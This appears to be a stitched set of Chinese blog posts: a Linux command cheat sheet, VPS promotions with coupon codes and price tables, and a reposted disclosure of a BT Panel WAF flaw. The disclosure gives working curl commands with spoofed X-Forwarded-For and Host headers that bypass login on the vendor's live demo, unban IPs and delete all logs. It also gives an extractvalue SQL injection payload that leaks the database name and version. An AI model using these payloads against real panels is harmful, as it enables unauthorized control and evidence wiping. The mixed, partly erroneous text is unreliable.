    ls -ld:显示目录和链接信息;
    ctrl+r:历史记录中所搜命令(输入命令中的任意一个字符);
    Linux中以.开头的文件是隐藏文件;
    pwd:显示当前目录

    查看文件的类型

    file:查看文件的类型

    复制文件目录等操作

    1、cp:复制文件和目录 cp源文件(文件夹)目标文件(文件夹)
    常用参数:-r:递归复制整个目录树;-v:显示详细信息;复制文件夹时要在cp命令后面加一个-r参数:如:cp -r 源文件夹 目标文件夹
    2、touch+文件名:当文件不存在的时候,创建相应的文件;当文件存在的时候,修改文件的创建时间。欢迎关注我们,公号终码一生。功能:生成一个空文件或修改文件的存取/修改的时间记录值。touch * :将当前下的文件时间修改为系统的当前时间
    touch –d 20040210 test:将test文件的日期改为20040210
    touch abc :若abc文件存在,则修改为系统的当前时间;若不存在,则生成一个为当前时间的空文件
    3、mv 文件 目标目录:移动或重命名文件或目录(如果指定文件名,则可以重命名文件)。可以将文件及目录移到另一目录下,或更改文件及目录的名称。格式为:mv [参数]<源文件或目录> <目标文件或目录>
    mva.txt ../:将a.txt文件移动上层目录
    mv a.txt b.txt:将a.txt改名为b.txt
    mvdir2 ../:将dir2目录上移一层
    4、rm:删除文件;常用参数:-i:交互式 -r:递归的删除包括目录中的所有内容
    5、mkdir +文件夹名称:创建文件夹;6、rm -r +文件夹名称:删除文件夹(空文件夹和非空文件夹都可删除)
    rmdir 文件夹名称:删除文件夹(只能删除空文件夹)
    7、mkdir -p dir1/dir2 :在当前目录下创建dir1目录,并在dir1目录下创建dir2目录, 也就是连续创建两个目录(dir1/和dir1/dir2)
    8、rmdir –p dir1/dir2:删除dir1下的dir2目录,若dir1目录为空也删除它
    9、rm * :删除当前目录下的所有文件
    10、-f参数:强迫删除文件 rm –f *.txt:强迫删除所有以后缀名为txt文件
    11、-i参数:删除文件时询问
    rm –i * :删除当前目录下的所有文件会有如下提示:rm:backup:is a directory 遇到目录会略过
    rm: remove ‘myfiles.txt’ ? Y
    删除文件时会询问,可按Y或N键表示允许或拒绝删除文件 
    12、-r参数:递归删除(连子目录一同删除,这是一个相当常用的参数)
    rm -r test :删除test目录(含test目录下所有文件和子目录)
    rm -r *:删除所有文件(含当前目录所有文件、所有子目录和子目录下的文件) 一般在删除目录时r和f一起用,避免麻烦
    rm -rf test :强行删除、不加询问
    13、grep:功能:在文件中搜索匹配的字符并进行输出
    格式:grep[参数] <要找的字串> <要寻找字 串的源文件>
    greplinux test.txt:搜索test.txt文件中字符串linux并输出
    14、ln命令
    功能:在文件和目录之间建立链接
    格式:ln [参数] <源文件或目录> <目标文件或目录>
    链接分“软链接”和“硬链接”
    1.软链接:
    ln–s /usr/share/do doc :创建一个链接文件doc,并指向目录/usr/share/do
    2.硬链接:
    ln /usr/share/test hard:创建一个硬链接文件hard,这时对于test文件对应 的存储区域来说,又多了一个文件指向它

    系统常用命令

    显示命令

    date:查看或设置当前系统的时间:格式化显示时间:+%Y--%m--%d;date -s:设置当前系统的时间
    hwclock(clock):显示硬件时钟时间(需要管理员权限);cal:查看日历
    格式cal [参数] 月年
    cal:显示当月的日历 cal4 2004 :显示2004年4月的日历
    cal- y 2003:显示2003年的日历
    uptime:查看系统运行时间

    输出查看命令

    echo:显示输入的内容 追加文件echo "liuyazhuang" >> liuyazhuang.txt
    cat:显示文件内容,也可以将数个文件合并成一个文件。格式:格式:cat[参数]<文件名>
    cat test.txt:显示test.txt文件内容
    cat test.txt | more :逐页显示test.txt文件中的内容
    cat test.txt >> test1.txt :将test.txt的内容附加到test1.txt文件之后
    cat test.txt test2.txt >readme.txt : 将test.txt和test2.txt文件合并成readme.txt 文件
    head:显示文件的头几行(默认10行) -n:指定显示的行数格式:head -n 文件名
    tail:显示文件的末尾几行(默认10行)-n:指定显示的行数 -f:追踪显示文件更新 (一般用于查看日志,命令不会退出,而是持续显示新加入的内容)
    格式:格式:tail[参数]<文件名>
    tail-10 /etc/passwd :显示/etc/passwd/文件的倒数10行内容
    tail+10 /etc/passwd :显示/etc/passwd/文件从第10行开始到末尾的内容
    more:用于翻页显示文件内容(只能向下翻页)
    more命令是一般用于要显示的内容会超过一个画面长度的情况。为了避免画 面显示时瞬间就闪过去,用户可以使用more命令,让画面在显示满一页时暂停,此时可按空格健继续显示下一个画面,或按Q键停止显示。ls -al |more:以长格形式显示etc目录下的文件列表,显示满一个画面便暂停,可 按空格键继续显示下一画面,或按Q键跳离
    less:翻页显示文件内容(带上下翻页)按下上键分页,按q退出、‘
    less命令的用法与more命令类似,也可以用来浏览超过一页的文件。所不同 的是less 命令除了可以按空格键向下显示文件外,还可以利用上下键来卷动文件。当要结束浏览时,只要在less命令的提示符“:”下按Q键即可。ls -al | less:以长格形式列出/etc目录中所有的内容。用户可按上下键浏览或按Q键跳离

    查看硬件信息

    Ispci:查看PCI设备 -v:查看详细信息
    Isusb:查看USB设备 -v:查看详细信息
    Ismod:查看加载的模块(驱动)

    归档、压缩

    zip:压缩文件 zip liuyazhuang.zip myfile 格式为:“zip 压缩后的zip文件文件名”
    unzip:解压文件 unzip liuyazhuang.zip
    gzip:压缩文件 gzip 文件名
    tar:归档文件
    tar -cvf out.tar liuyazhuang 打包一个归档(将文件"liuyazhuang"打包成一个归档)
    tar -xvf liuyazhuang.tar 释放一个归档(释放liuyazhuang.tar归档)
    tar -cvzf backup.tar.gz/etc 
    -z参数将归档后的归档文件进行gzip压缩以减少大小。-c:创建一个新tar文件
    -v:显示运行过程的信息
    -f:指定文件名
    -z:调用gzip压缩命令进行压缩
    -t:查看压缩文件的内容
    -x:解开tar文件
    tar -cvf test.tar *:将所有文件打包成test.tar,扩展名.tar需自行加上
    tar -zcvf test.tar.gz *:将所有文件打包成test.tar,再用gzip命令压缩
    tar -tf test.tar :查看test.tar文件中包括了哪些文件
    tar -xvf test.tar 将test.tar解开
    tar -zxvf foo.tar.gz 解压缩
    gzip各gunzip命令
    gziptest.txt :压缩文件时,不需要任何参数
    gizp–l test.txt.gz:显示压缩率

    查找

    locate:快速查找文件、文件夹:locate keyword
    此命令需要预先建立数据库,数据库默认每天更新一次,可用updatedb命令手工建立、更新数据库。欢迎关注我们,公号终码一生。find查找位置查找参数
    如:find . -name *liuyazhuang* 查找当前目录下名称中含有"liuyazhuang"的文件
    find / -name *.conf 查找根目录下(整个硬盘)下后缀为.conf的文件
    find / -perm 777 查找所有权限是777的文件
    find / -type d 返回根目录下所有的目录
    find . -name "a*"-exec ls -l {} \;
    find功能:用来寻找文件或目录。格式:find [<路径>] [匹配条件]
    find / -name httpd.conf 搜索系统根目录下名为httpd.conf的文件
    7、ctrl+c :终止当前的命令
    8、who或w命令
    功能:查看当前系统中有哪些用户登录
    格式:who/w[参数]
    9、dmesg命令 功能:显示系统诊断信息、操作系统版本号、物理内存的大小以及其它信息
    10、df命令 功能:用于查看文件系统的各个分区的占用情况
    11、du命令
    功能:查看某个目录中各级子目录所使用的硬盘空间数
    格式:du [参数] <目录名>
    12、free命令
    功能:用于查看系统内存,虚拟内存(交换空间)的大小占用情况

    VIM

    VIM 是一款功能强大的命令行文本编辑器,在 Linux 中通过 vim 命令可以启动 vim编辑器。

    一般使用 vim + 目标文件路径的形式使用vim。

    如果目标文件存在,则 vim 打开目标文件,如果目标文件不存在,则 vim 新建并打开该文件。

    :q:退出vim编辑器

    VIM模式

    vim拥有三种模式:

    (1)命令模式(常规模式)vim启动后,默认进入命令模式,任何模式都可以通过esc键回到命令模式(可以多按几次),命令模式下可以键入不同的命令完成选择、复制、粘贴、撤销等操作。命名模式常用命令如下:

    • i:在光标前插入文本;
    • o:在当前行的下面插入新行;
    • dd:删除整行;
    • yy:将当前行的内容放入缓冲区(复制当前行)
    • n+yy:将n行的内容放入缓冲区(复制n行)
    • p:将缓冲区中的文本放入光标后(粘贴)
    • u:撤销上一个操作
    • r:替换当前字符
    • /:查找关键字

    (2)插入模式

    在命令模式下按 “ i “键,即可进入插入模式,在插入模式可以输入编辑文本内容,使用esc键可以返回命令模式。

    (3)ex模式

    在命令模式中按” : “键可以进入ex模式,光标会移动到底部,在这里可以保存修改或退出vim。

    ex模式常用命令如下:

    • :w 保存当前的修改
    • :q 退出
    • :q! 强制退出,保存修改
    • 😡 保存并退出,相当于:wq
    • :set number 显示行号
    • :! 系统命令 执行一个系统命令并显示结果
    • :sh 切换到命令行,使用ctrl+d切换回vim

    软件包管理命令(RPM)

    1、软件包的安装使用RPM命令的安装模式可以将软件包内所有的组件放到系统中的正确路径,安装软件包的命令是:rpm –ivh wu-ftpd-2.6.2-8.i386.rpm

    i:作用rpm的安装模式,v: 校验文件信息,h: 以#号显示安装进度。

    2、软件包的删除删除模式会将指定软件包的内容全部删除,但并不包括已更改过的配置文件,删除RPM软件包的命令如下:rpm -e wu-ftpd注意:这里必须使用软件名“wu-ftpd”或”wu-ftpd-2.6.2-8而不是使用当初安装时的软件包名.wu-ftpd-2.6.2-8.i386.rpm

    3、软件包升级

    升级模式会安装用户所指定的更新版本,并删除已安装在系统中的相同软件包,升级软件包命令如下:rpm -Uvh wu-ftpd-2.6.2-8.i386.rpm -Uvh:升级参数

    4、软件包更新更新模式下,rpm命令会检查在命令行中所指定的软件包是否比系统中原有的软件 包更新。如果情况属实,rpm命令会自动更新指定的软件包;反之,若系统中并没有指定软件包的较旧版本,rpm命令并不会安装此软件包。而在升级模式下,不管系统中是否有较旧的版本,rpm命令都会安装指定的软件包。

    rpm –Fvhwu-ftpd-2.6.2-8.i386.rpm -Fvh:更新参数

    5、软件包查询若要获取RPM软件包的相关信息,可以使用查询模式。使用-q参数可查询一个已 安装的软件包的内容

    rpm –q wu-ftpd

    查询软件包所安装的位置:rpm –ql package-name

    rpm –ql xv (l参数:显示文件列表)
  • 搬瓦工202402全部限量版套餐汇总整理、搬瓦工最新优惠码、购买建议、补货

    搬瓦工202402全部限量版套餐汇总整理、搬瓦工最新优惠码、购买建议、补货

    今天是年后上班第二天了,相信大家都开始打工了。本文为大家整理一下 2024 最新的搬瓦工所有限量版套餐汇总,以及目前搬瓦工限量版套餐购买建议。目前最便宜的搬瓦工限量版套餐是 CN2 GIA-E 10G 限量版套餐,年付 $49.99,最贵的是 THE PLAN v2 限量版套餐,价格是 $119/年。

    搬瓦工优惠码:BWHCCNCXVV

    搬瓦工全部限量版套餐汇总

    下面表格是目前搬瓦工全部限量版套餐,但是目前全部都是缺货或者下架状态,后面也不知道什么时候会再补货。建议关注下方的搬瓦工限量版补货通知,第一时间接收补货提醒。

    限量版套餐CPU内存硬盘月流量带宽机房价格/年介绍购买
    DC9 CN2 GIA1核1GB20GB500GB1GbpsDC9 CN2 GIA
    DC3 CN2等
    共10个机房
    $79.99购买
    DC9 CN2 GIA1核1GB20GB1000GB1Gbps$79.99购买
    CN2 GIA-E 10G1核0.5GB10GB500GB2.5GbpsDC6 CN2 GIA-E
    DC9 CN2 GIA
    日本软银等
    共14个机房
    $49.99购买
    CN2 GIA-E 20G1核1GB20GB500GB2.5Gbps$89.99购买
    CN2 GIA-E 40G2核2GB40GB1000GB2.5Gbps$89.99购买
    THE PLAN2核2GB40GB1000GB2.5Gbps中国香港HK85
    DC6 CN2 GIA-E
    DC9 CN2 GIA
    日本软银等
    共18个机房
    $99购买
    THE PLAN v22核2GB40GB2000GB2.5Gbps$119购买
    THE CHICKEN1核1GB20GB1000GB2.5Gbps弗里蒙特FMT8$39.99购买
    FREEDOM PLAN2核2GB40GB2000GB2.5GbpsDC2 AO$89购买
    中国香港HK851核1GB20GB500GB1Gbps中国香港HK85$79.99购买
    日本大阪软银1核0.5GB10GB500GB1Gbps日本大阪软银$69.99购买
    澳大利亚悉尼1核1GB20GB500GB1Gbps悉尼机房$99.99购买
    阿联酋迪拜1核1GB20GB250GB1Gbps迪拜机房等$99.99购买

    搬瓦工限量版购买建议

    对于搬瓦工这么多限量版套餐的购买建议,其实也很简单,从两个方面考虑。

    首先是性价比,那么自然是 THE PLAN 系列性价比最高,其次是 CN2 GIA-E 10G 和 CN2 GIA-E 40G。

    THE PLAN 系列的性价比不用多说,大家都是公认的,配置高,流量多,价格实惠,性价比高。CN2 GIA-E 10G 限量版是目前最便宜的 CN2 GIA-E 套餐,门槛低,非常热门。CN2 GIA-E 40G 在降价之后 $89.99/年的价格也显得非常具有性价比,配置也非常高。

    其次,从自身需求出发,我们可以根据自己的需求选择这些限量版套餐,或者是选择其他的一些限定地区的限量版套餐,比如香港 CMI、软银等限量版。

    综合来说,更常见的情况是,哪个限量版套餐补货正好被我们赶上了就买哪个,限量版毕竟限量,也是可遇不可求的。

  • 20240216宝塔面板 SQL 注入漏洞

    20240216宝塔面板 SQL 注入漏洞

    整个宝塔 WAF 核心防护功能的代码写的确实有点粗糙,代码组织方式不像一个成熟软件该有的架构,小 Bug 一眼望不到头,今天分享的是一个未授权访问漏洞,普通用户可以无视宝塔的随机登录地址,无视宝塔的登录密码,直接操作后台的数据,实现人人都是管理员的效果。

    请看这段代码

    start = function ()
    	... 此处身略若干行
    	if ngx.var.remote_addr == "127.0.0.1" and ngx.ctx.Server_name == "127.0.0.251" and ngx.var.host == "127.0.0.251" then
    		if ngx.var.uri == "/get_btwaf_drop_ip" then
    			Public.return_message(200, uv0.get_btwaf_drop_ip())
    		elseif ngx.var.uri == "/remove_btwaf_drop_ip" then
    			Public.return_message(200, uv0.remove_btwaf_drop_ip())
    		elseif ngx.var.uri == "/clean_btwaf_drop_ip" then
    			Public.return_message(200, uv0.clean_btwaf_drop_ip())
    		elseif ngx.var.uri == "/updateinfo" then
    			Public.return_message(200, uv0.updateInfo())
    		elseif ngx.var.uri == "/get_site_status" then
    			Public.return_message(200, uv0.get_site_status())
    		elseif ngx.var.uri == "/get_global_status" then
    			Public.return_message(200, uv0.get_global_status())
    		end
    		if ngx.var.uri == "/clean_btwaf_logs" then
    			Public.return_message(200, uv0.clean_btwaf_logs())
    		end
    		if ngx.var.uri == "/clear_speed_hit" then
    			Public.return_message(200, uv0.clear_speed_hit())
    		end
    		if ngx.var.uri == "/clear_replace_hit" then
    			Public.return_message(200, uv0.clear_replace_hit())
    		end
    		if ngx.var.uri == "/reset_customize_cc" then
    			Public.return_message(200, uv0.reset_customize_cc())
    		end
    		if ngx.var.uri == "/clear_speed_countsize" then
    			Public.return_message(200, uv0.clear_speed_countsize())
    		end
    	end
    end
    

    这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码。

    看代码最开端的 if 语句,只要满足 ip 是 127.0.0.1 ,域名是 127.0.0.251 这两个条件就能在不用登录的情况下访问下面的 API 。

    话说这是临时工写的代码吧,对于宝塔的配置来说,要满足这两个条件很难吗?

    • 配置 x-forwarded-for 头为 127.0.0.1 即可满足 ip 是 127.0.0.1 的条件
    • 配置 host 头为 127.0.0.251 即可满足域名是 127.0.0.251 的条件

    提供一条 curl 参数供大家参考

    curl 'http://宝塔地址/API'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    到此漏洞原理就讲完了

    我们访问宝塔官方网站做个测试

    get_btwaf_drop_ip

    这个 API 用来获取已经拉黑的 IP 列表,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/get_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    remove_btwaf_drop_ip

    这个 API 用来解封 IP ,提供一个 get 参数即可,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/remove_btwaf_drop_ip?ip=1.2.3.4'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"msg":"1.2.3.4 已解封","status":true}
    

    clean_btwaf_drop_ip

    这个 API 用来解封所有 IP ,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/clean_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"msg":"已解封所有 IP","status":true}
    

    updateinfo

    这个 API 看起来是更新配置用的,需要一个 types 参数做校验,但实际并没有什么用处,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/updateinfo?types'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    get_site_status

    这个 API 用来获取网站的配置,server_name 参数需要提供网站的域名,使用以下命令发起访问

    curl 'http://btwaf-demo.bt.cn/get_site_status?server_name=bt.cn'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"status":true,"msg":{"uv":0,"qps":0,"inland":0,"overseas":0,"today":{"pc_count":0,"mobile_count":0,"req":0,"spider_google":0,"spider_bing":0,"spider_sogou":0,"spider_360":0,"spider_other":0,"err_40x":0,"spider_baidu":0,"recv_bytes":0,"send_bytes":0,"err_500":0,"err_502":0,"err_503":0,"err_504":0,"err_499":0,"uv_count":0,"ip_count":0,"pv_count":0},"send_bytes":0,"proxy_count":0,"err_502":0,"recv_bytes":0,"err_504":0,"err_499":0,"ip":0,"proxy_time":0,"pv":0}}
    

    clean_btwaf_logs

    这个 API 用来删除宝塔的所有日志,使用以下命令发起访问

    curl "http://btwaf-demo.bt.cn/clean_btwaf_logs"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    后续还有一些 API 大同小异,不一一列举了

    • get_global_status
    • clear_speed_hit
    • clear_replace_hit
    • reset_customize_cc
    • clear_speed_countsize

    请看这段代码

    get_site_status = function ()
    	if not ngx.ctx.get_uri_args.server_name then
    		return Public.get_return_state(false, "参数错误")
    	end
    	... 此处省略若干代码
    	slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
    SELECT 
    		SUM(request) as req,
    		SUM(err_40x) as err_40x,
    		SUM(err_500) as err_500,
    		SUM(err_502) as err_502,
    		SUM(err_503) as err_503,
    		SUM(err_504) as err_504,
    		SUM(err_499) as err_499,
    		SUM(send_bytes) as send_bytes,
    		SUM(receive_bytes) as recv_bytes,
    		SUM(pc_count) as pc_count,
    		SUM(mobile_count) as mobile_count,
    		SUM(spider_baidu) as spider_baidu,
    		SUM(spider_google) as spider_google,
    		SUM(spider_bing) as spider_bing,
    		SUM(spider_360) as spider_360,
    		SUM(spider_sogou) as spider_sogou,
    		SUM(spider_other) as spider_other,
    		SUM(ip_count) as ip_count,
    		SUM(pv_count) as pv_count,
    		SUM(uv_count) as uv_count
    		 FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")
    	... 此处省略若干代码
    	return Public.get_return_state(true, slot6)
    end
    

    这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码

    这段逻辑就在上文提到的 get_site_status API 中,slot1 变量就是 server_name 参数。原理很简单,server_name 参数没有做任何校验就直接带入了 SQL 查询。

    宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令:

    curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}
    

    从响应来看已经注入成功,通过 updatexml 的报错成功的爆出了库名叫 btwaf

    继续执行以下命令:

    curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}
    

    从响应来看,mysql 版本是 8.1.0

    在继续执行以下命令

    curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
    

    响应如下

    {"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}
    

    看起来 select ‘hello,world’ 也执行成功了,到此为止,基本可以执行任意命令。

    漏洞已通报给宝塔官方,此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。

    转自:

    https://v2ex.com/t/1015932

    https://www.v2ex.com/t/1015934

  • 香港日本等31个机房 月付¥4元起 2024年2月最新UCloud优惠码

    香港日本等31个机房 月付¥4元起 2024年2月最新UCloud优惠码

    UCloud 中文名为优刻得,是一家科创板上市公司,主要销售 VPS、主机、域名等产品。UCloud 目前全球拥有 31 个机房,29 条专线,覆盖五大洲,机房数量是真的多。不过 UCloud 购买之后是不能迁移机房的,买的时候是什么,就一直是什么机房。所以购买之前我们可以测试好 UCloud 哪个机房好些。一般来说建议购买 UCloud 香港机房、台湾机房、或者是内地机房。

    目前 UCloud 有两个优惠,一个是首月特惠,可以按照优惠价格购买一个月,也就相当于试用一下。还有一个是可以按照优惠价格购买一年或者三年付的优惠机型。这两个优惠是可以共享的,也就是说我们可以先购买一个月试用一下,然后再按照优惠价格购买年付或者三年付 VPS 主机。

    UCloud 全球大促优惠价格

    下面表格为大家吐血整理一下 UCloud 全球大促所有优惠价格。

    配置(单台)促销价格(单价:元)(新用户)
    机型可用区CPU配置首月特惠1年-企业1年-个人3年-企业3年-个人
    快杰型云服务器北上广AMD1C2G(40GB RSSD系统盘)1M4.7294.4103.84254.88280.368
    快杰型云服务器北上广AMD1C2G(40GB RSSD系统盘)2M9.72194.4213.84524.88577.368
    快杰型云服务器北上广AMD2C4G(40GB RSSD系统盘)1M17.6352387.2950.41045.44
    快杰型云服务器北上广AMD2C4G(40GB RSSD系统盘)3M3366072617821960.2
    快杰型云服务器北上广AMD2C4G(40GB RSSD系统盘)5M45.859171008.72475.92723.49
    快杰型云服务器北上广AMD2C4G(40GB RSSD系统盘)10M1252500275067507425
    快杰型云服务器北上广AMD2C8G(40GB RSSD系统盘)1M18.6372409.21004.41104.84
    快杰型云服务器北上广AMD2C8G(40GB RSSD系统盘)3M3468074818362019.6
    快杰型云服务器北上广AMD2C8G(40GB RSSD系统盘)5M46.859371030.72529.92782.89
    快杰型云服务器北上广AMD2C8G(40GB RSSD系统盘)10M1262520277268047484.4
    快杰型云服务器北上广AMD4C8G(40GB RSSD系统盘)1M31.6632695.21706.41877.04
    快杰型云服务器北上广AMD4C8G(40GB RSSD系统盘)3M47940103425382791.8
    快杰型云服务器北上广AMD4C8G(40GB RSSD系统盘)5M59.8511971316.73231.93555.09
    快杰型云服务器北上广AMD4C8G(40GB RSSD系统盘)10M1392780305875068256.6
    快杰型云服务器北上广AMD4C16G(40GB RSSD系统盘)1M45.69121003.22462.42708.64
    快杰型云服务器北上广AMD4C16G(40GB RSSD系统盘)3M611220134232943623.4
    快杰型云服务器北上广AMD4C16G(40GB RSSD系统盘)5M73.8514771624.73987.94386.69
    快杰型云服务器北上广AMD4C16G(40GB RSSD系统盘)10M1533060336682629088.2
    快杰型云服务器北上广AMD8C16G(40GB RSSD系统盘)1M142.628523137.27700.48470.44
    快杰型云服务器北上广AMD8C16G(40GB RSSD系统盘)3M1583160347685329385.2
    快杰型云服务器北上广AMD8C16G(40GB RSSD系统盘)5M170.8534173758.79225.910148.49
    快杰型云服务器北上广AMD8C16G(40GB RSSD系统盘)10M250500055001350014850
    快杰型云服务器北上广Intel1C2G(40GB RSSD系统盘)1M5.9118129.8318.6350.46
    快杰型云服务器北上广Intel1C2G(40GB RSSD系统盘)2M10.9218239.8588.6647.46
    快杰型云服务器北上广Intel2C4G(40GB RSSD系统盘)1M23.547051712691395.9
    快杰型云服务器北上广Intel2C4G(40GB RSSD系统盘)3M38.9778855.82100.62310.66
    快杰型云服务器北上广Intel2C4G(40GB RSSD系统盘)5M51.7510351138.52794.53073.95
    快杰型云服务器北上广Intel2C4G(40GB RSSD系统盘)10M130.926182879.87068.67775.46
    快杰型云服务器北上广Intel2C8G(40GB RSSD系统盘)1M30.561067116471811.7
    快杰型云服务器北上广Intel2C8G(40GB RSSD系统盘)3M45.99181009.82478.62726.46
    快杰型云服务器北上广Intel2C8G(40GB RSSD系统盘)5M58.7511751292.53172.53489.75
    快杰型云服务器北上广Intel2C8G(40GB RSSD系统盘)10M137.927583033.87446.68191.26
    快杰型云服务器北上广Intel4C8G(40GB RSSD系统盘)1M4488096823762613.6
    快杰型云服务器北上广Intel4C8G(40GB RSSD系统盘)3M59.411881306.83207.63528.36
    快杰型云服务器北上广Intel4C8G(40GB RSSD系统盘)5M72.2514451589.53901.54291.65
    快杰型云服务器北上广Intel4C8G(40GB RSSD系统盘)10M151.430283330.88175.68993.16
    快杰型云服务器北上广Intel4C16G(40GB RSSD系统盘)1M571140125430783385.8
    快杰型云服务器北上广Intel4C16G(40GB RSSD系统盘)3M72.414481592.83909.64300.56
    快杰型云服务器北上广Intel4C16G(40GB RSSD系统盘)5M85.2517051875.54603.55063.85
    快杰型云服务器北上广Intel4C16G(40GB RSSD系统盘)10M164.432883616.88877.69765.36
    快杰型云服务器北上广Intel8C16G(40GB RSSD系统盘)1M17735403894955810513.8
    快杰型云服务器北上广Intel8C16G(40GB RSSD系统盘)3M192.438484232.810389.611428.56
    快杰型云服务器北上广Intel8C16G(40GB RSSD系统盘)5M205.2541054515.511083.512191.85
    快杰型云服务器北上广Intel8C16G(40GB RSSD系统盘)10M284.456886256.815357.616893.36
    快杰型云服务器香港AMD1C2G(40GB RSSD系统盘)1M10.69213.84235.22577.37635.1
    快杰型云服务器香港AMD1C2G(40GB RSSD系统盘)2M13.75275.04302.54742.61816.87
    快杰型云服务器香港AMD2C4G(40GB RSSD系统盘)1M2754059414581603.8
    快杰型云服务器香港AMD2C4G(40GB RSSD系统盘)2M30.06601.2661.321623.241785.56
    快杰型云服务器香港AMD2C4G(40GB RSSD系统盘)5M60.312061326.63256.23581.82
    快杰型云服务器香港AMD2C8G(40GB RSSD系统盘)1M38.4768844.82073.62280.96
    快杰型云服务器香港AMD2C8G(40GB RSSD系统盘)2M41.46829.2912.122238.842462.72
    快杰型云服务器香港AMD2C8G(40GB RSSD系统盘)5M71.714341577.43871.84258.98
    快杰型云服务器香港AMD4C8G(40GB RSSD系统盘)1M45.47909.361000.32455.272700.8
    快杰型云服务器香港AMD4C8G(40GB RSSD系统盘)2M48.53970.561067.622620.512882.56
    快杰型云服务器香港AMD4C8G(40GB RSSD系统盘)5M78.771575.361732.94253.474678.82
    快杰型云服务器香港AMD4C16G(40GB RSSD系统盘)1M65.531310.641441.73538.733892.6
    快杰型云服务器香港AMD4C16G(40GB RSSD系统盘)2M68.591371.841509.023703.974074.36
    快杰型云服务器香港AMD4C16G(40GB RSSD系统盘)5M98.831976.642174.35336.935870.62
    快杰型云服务器香港AMD8C16G(40GB RSSD系统盘)1M177.663553.23908.529593.6410553
    快杰型云服务器香港AMD8C16G(40GB RSSD系统盘)5M210.964219.24641.1211391.8412531.02
    快杰型云服务器香港AMD8C16G(40GB RSSD系统盘)10M330.966619.27281.1217871.8419659.02
    快杰型云服务器台北AMD1C2G(40GB RSSD系统盘)1M10.69213.84235.22577.37635.1
    快杰型云服务器台北AMD1C2G(40GB RSSD系统盘)2M13.75275.04302.54742.61816.87
    快杰型云服务器台北AMD2C4G(40GB RSSD系统盘)1M2754059414581603.8
    快杰型云服务器台北AMD2C4G(40GB RSSD系统盘)2M30.06601.2661.321623.241785.56
    快杰型云服务器台北AMD2C4G(40GB RSSD系统盘)5M60.312061326.63256.23581.82
    快杰型云服务器台北AMD2C8G(40GB RSSD系统盘)1M38.4768844.82073.62280.96
    快杰型云服务器台北AMD2C8G(40GB RSSD系统盘)2M41.46829.2912.122238.842462.72
    快杰型云服务器台北AMD2C8G(40GB RSSD系统盘)5M71.714341577.43871.84258.98
    快杰型云服务器台北AMD4C8G(40GB RSSD系统盘)1M45.47909.361000.32455.272700.8
    快杰型云服务器台北AMD4C8G(40GB RSSD系统盘)2M48.53970.561067.622620.512882.56
    快杰型云服务器台北AMD4C8G(40GB RSSD系统盘)5M78.771575.361732.94253.474678.82
    快杰型云服务器台北AMD4C16G(40GB RSSD系统盘)1M65.531310.641441.73538.733892.6
    快杰型云服务器台北AMD4C16G(40GB RSSD系统盘)2M68.591371.841509.023703.974074.36
    快杰型云服务器台北AMD4C16G(40GB RSSD系统盘)5M98.831976.642174.35336.935870.62
    快杰型云服务器台北AMD8C16G(40GB RSSD系统盘)1M177.663553.23908.529593.6410553
    快杰型云服务器台北AMD8C16G(40GB RSSD系统盘)5M210.964219.24641.1211391.8412531.02
    快杰型云服务器台北AMD8C16G(40GB RSSD系统盘)10M330.966619.27281.1217871.8419659.02
    快杰型云服务器香港Intel1C2G(40GB RSSD系统盘)1M13.28265.68292.25717.34789.07
    快杰型云服务器香港Intel1C2G(40GB RSSD系统盘)2M16.34326.88359.57882.58970.83
    快杰型云服务器香港Intel2C4G(40GB RSSD系统盘)1M34.2684752.41846.82031.48
    快杰型云服务器香港Intel2C4G(40GB RSSD系统盘)2M37.26745.2819.722012.042213.24
    快杰型云服务器香港Intel2C4G(40GB RSSD系统盘)5M67.51350148536454009.5
    快杰型云服务器香港Intel2C8G(40GB RSSD系统盘)1M45.69121003.22462.42708.64
    快杰型云服务器香港Intel2C8G(40GB RSSD系统盘)2M48.66973.21070.522627.642890.4
    快杰型云服务器香港Intel2C8G(40GB RSSD系统盘)5M78.915781735.84260.64686.66
    快杰型云服务器香港Intel4C8G(40GB RSSD系统盘)1M58.141162.81279.083139.563453.52
    快杰型云服务器香港Intel4C8G(40GB RSSD系统盘)2M61.212241346.43304.83635.28
    快杰型云服务器香港Intel4C8G(40GB RSSD系统盘)5M91.441828.82011.684937.765431.54
    快杰型云服务器香港Intel4C16G(40GB RSSD系统盘)1M78.21564.081720.494223.024645.32
